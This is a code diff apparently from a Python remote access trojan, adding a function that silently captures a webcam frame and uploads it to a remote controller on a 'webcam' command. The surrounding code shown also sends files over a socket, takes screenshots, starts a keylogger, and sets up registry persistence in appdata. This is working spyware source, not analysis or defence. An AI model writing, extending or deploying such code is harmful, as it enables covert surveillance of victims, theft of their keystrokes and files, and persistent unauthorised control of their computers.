11# Standard library imports
2+ import cv2
23import json
34import os
45import shutil
@@ -52,6 +53,7 @@ def download_file(file_name):
5253def upload_file (file_name ):
5354 f = open (file_name , 'rb' )
5455 s .send (f .read ())
56+ f .close ()
5557
5658
5759def download_url (url ):
@@ -73,6 +75,36 @@ def screenshot():
7375
7476# TODO: screenshot other monitors
7577
78+
79+ def capture_webcam ():
80+ webcam = cv2 .VideoCapture (0 )
81+ webcam .set (cv2 .CAP_PROP_EXPOSURE , 40 )
82+
83+ # Check if the webcam is available
84+ if not webcam .isOpened ():
85+ print ("No webcam available" )
86+ return
87+
88+ ret , frame = webcam .read ()
89+
90+ # Check if the webcam was able to capture a frame
91+ if not ret :
92+ print ("Failed to read frame from webcam" )
93+ return
94+
95+ webcam .release ()
96+
97+ # Save the frame to a file
98+ if platform == "win32" or platform == "darwin" or platform == "linux" or platform == "linux2" :
99+ is_success , im_buf_arr = cv2 .imencode (".webcam.png" , frame )
100+ if is_success :
101+ with open ('.webcam.png' , 'wb' ) as f :
102+ f .write (im_buf_arr .tobytes ())
103+ else :
104+ print ("Failed to save webcam image" )
105+
106+
107+
76108def persist (reg_name , copy_name ):
77109 file_location = os .environ ['appdata' ] + '\\ ' + copy_name
78110 try :
@@ -129,6 +161,10 @@ def shell():
129161 screenshot ()
130162 upload_file ('.screen.png' )
131163 os .remove ('.screen.png' )
164+ elif command [:6 ] == 'webcam' :
165+ capture_webcam ()
166+ upload_file ('.webcam.png' )
167+ os .remove ('.webcam.png' )
132168 elif command [:12 ] == 'keylog_start' :
133169 keylog = keylogger .Keylogger ()
134170 t = threading .Thread (target = keylog .start )
0 commit comments